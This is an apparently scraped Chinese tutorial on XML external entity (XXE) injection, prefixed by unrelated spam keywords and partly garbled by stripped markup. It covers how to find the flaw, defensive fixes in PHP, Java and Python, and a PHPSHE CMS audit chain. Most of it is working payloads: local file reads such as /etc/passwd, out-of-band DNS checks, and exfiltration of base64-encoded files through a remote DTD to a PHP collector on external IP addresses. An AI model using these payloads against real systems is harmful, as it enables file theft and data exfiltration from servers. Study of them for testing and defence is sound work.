英雄联盟网站源码,指点成金网发帖推广,大连甘井子区租房,建设网站方法目录
XMLXXE-传输-原理探针利用玩法
XXE 黑盒发现
XXE 白盒发现
XXE修复防御方案
有回显
无回显
XMLXXE-黑盒-JSON黑盒测试类型修改
XMLXXE-白盒-CMSPHPSHE无回显 知识点#xff1a; 1、XXEXML-原理-用途XXE-传输-原理探针利用玩法
XXE 黑盒发现
XXE 白盒发现
XXE修复防御方案
有回显
无回显
XMLXXE-黑盒-JSON黑盒测试类型修改
XMLXXE-白盒-CMSPHPSHE无回显 知识点 1、XXEXML-原理-用途外实体安全 2、XXEXML-黑盒-格式类型数据类型 3、XXEXML-白盒-函数审计回显方案 XMLXXE-传输-原理探针利用玩法
XML被设计为传输和存储数据XML文档结构包括XML声明、DTD文档类型定义可选、文档元素其焦点是数据的内容其把数据从HTML分离是独立于软件和硬件的信息传输工具。等同于JSON传输。
XXE漏洞XML External Entity Injection即xml外部实体注入漏洞XXE漏洞发生在应用程序解析XML输入时没禁止外部实体的加载导致可加载恶意外部文件造成文件读取(最常用)、命令执行、内网扫描、攻击内网等危害。
php原生态代码只能造成文件读取其他的例如命令执行那些都是跟一些第三方库导致的安全问题有关
XML 与 HTML 的主要差异
XML 被设计为传输和存储数据其焦点是数据的内容。HTML 被设计用来显示数据其焦点是数据的外观。HTML 旨在显示信息 而XML旨在传输存储信息。
Example网站的xml文件解析 XXE 黑盒发现
获取得到Content-Type或数据类型为xml时尝试xml语言payload进行测试不管获取的Content-Type类型或数据传输类型均可尝试修改后提交测试xxeXXE不仅在数据传输上可能存在漏洞同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行
获取得到Content-Type或数据类型为xml时尝试xml语言payload进行测试 判断对方使用XML来传输数据时尝试xml语言payload进行测试 不管获取的Content-Type类型或数据传输类型是否是XML均可尝试修改为XML格式后提交测试xxe XXE不仅在数据传输上可能存在漏洞同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行(百度docx xxeb即可)
参考文章https://blog.csdn.net/weixin_57567655/article/details/124588490 XXE 白盒发现
可通过应用功能追踪代码定位审计可通过脚本特定函数搜索定位审计可通过伪协议玩法绕过相关修复等 XXE修复防御方案
方案1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
Python
from lxml import etreexmlData etree.parse(xmlSource,etree.XMLParser(resolve_entitiesFalse))
方案2-过滤用户提交的XML数据
过滤关键词!DOCTYPE和!ENTITY或者SYSTEM和PUBLIC 有回显
读取文件
?xml version1.0?
!DOCTYPE xiaodi [
!ENTITY test SYSTEM file:///d:/1.txt
]
userusernametest;/usernamepasswordxiaodi/password/user外部实体引用dtd
?xml version1.0 ?
!DOCTYPE test [!ENTITY % file SYSTEM http://127.0.0.1:80/xxe.dtd%file;
]
userusernamesend;/usernamepasswordxiaodi/password/userxxe.dtd
!ENTITY send SYSTEM file:///d:/1.txt无回显
带外测试
?xml version1.0 ?
!DOCTYPE test [!ENTITY % file SYSTEM http://9v57ll.dnslog.cn%file;
]
userusernamesend;/usernamepasswordxiaodi/password/user或者不用dnslog直接在VPS服务器上用python起一个WEB服务然后看这个有没有请求记录即可。
python -m http.server port无回显读文件(外部实体引用dtd)
?xml version1.0?
!DOCTYPE ANY[
!ENTITY % file SYSTEM file:///d:/1.txt
!ENTITY % remote SYSTEM http://127.0.0.1/xxe.dtd
%remote;
%all;
]
rootsend;/rootxxe.dtd(真实情况下肯定放在VPS上)
!ENTITY % all !ENTITY send SYSTEM http://127.0.0.1/get.php?file%file;get.php(真实情况下肯定放在VPS上)
?php
$data$_GET[file];
$myfile fopen(file.txt, w);
fwrite($myfile, $data);
fclose($myfile);
?那么这里又存在一个问题就是要读文件有空格有中文难道就读不了吗 可以用php伪协议来绕过呀
php://filter/readconvert.base64-encode/resourcephpinfo.php?xml version1.0?
!DOCTYPE ANY[
!ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resourceD:/1.txt
!ENTITY % remote SYSTEM http://124.221.77.120/xxe.dtd
%remote;
%all;
]userusernamesend;/usernamepasswordadmin/password/user其他玩法协议https://www.cnblogs.com/20175211lyz/p/11413335.html XMLXXE-黑盒-JSON黑盒测试类型修改
漏洞URLhttp://web.jarvisoj.com:9882/ 更改请求数据格式Content-Type为xml格式
?xml version 1.0?
!DOCTYPE ANY [!ENTITY f SYSTEM file:///etc/passwd
]
xf;/xXMLXXE-白盒-CMSPHPSHE无回显
1、搜索漏洞函数simplexml_load_string 2、pe_getxml函数调用了漏洞函数 3、wechat_getxml调用了pe_getxml 4、notify_url.php调用了wechat_getxml 5、访问notify_url文件触发wechat_getxml函数,构造Paylod测试 先尝试读取文件无回显后带外测试 ?xml version1.0 ?
!DOCTYPE test [!ENTITY % file SYSTEM http://1uwlwv.dnslog.cn%file;
]
rootsend;/root存在XXE漏洞
然后带外传递数据解决无回显
?xml version1.0?
!DOCTYPE ANY[
!ENTITY % file SYSTEM file:///d:/1.txt
!ENTITY % remote SYSTEM http://47.94.236.117/test.dtd
%remote;
%all;
]
rootsend;/roottest.dtd
!ENTITY % all !ENTITY send SYSTEM http://47.94.236.117/get.php?file%file;get.php
?php
$data$_GET[file];
$myfile fopen(file.txt, w);
fwrite($myfile, $data);
fclose($myfile);
?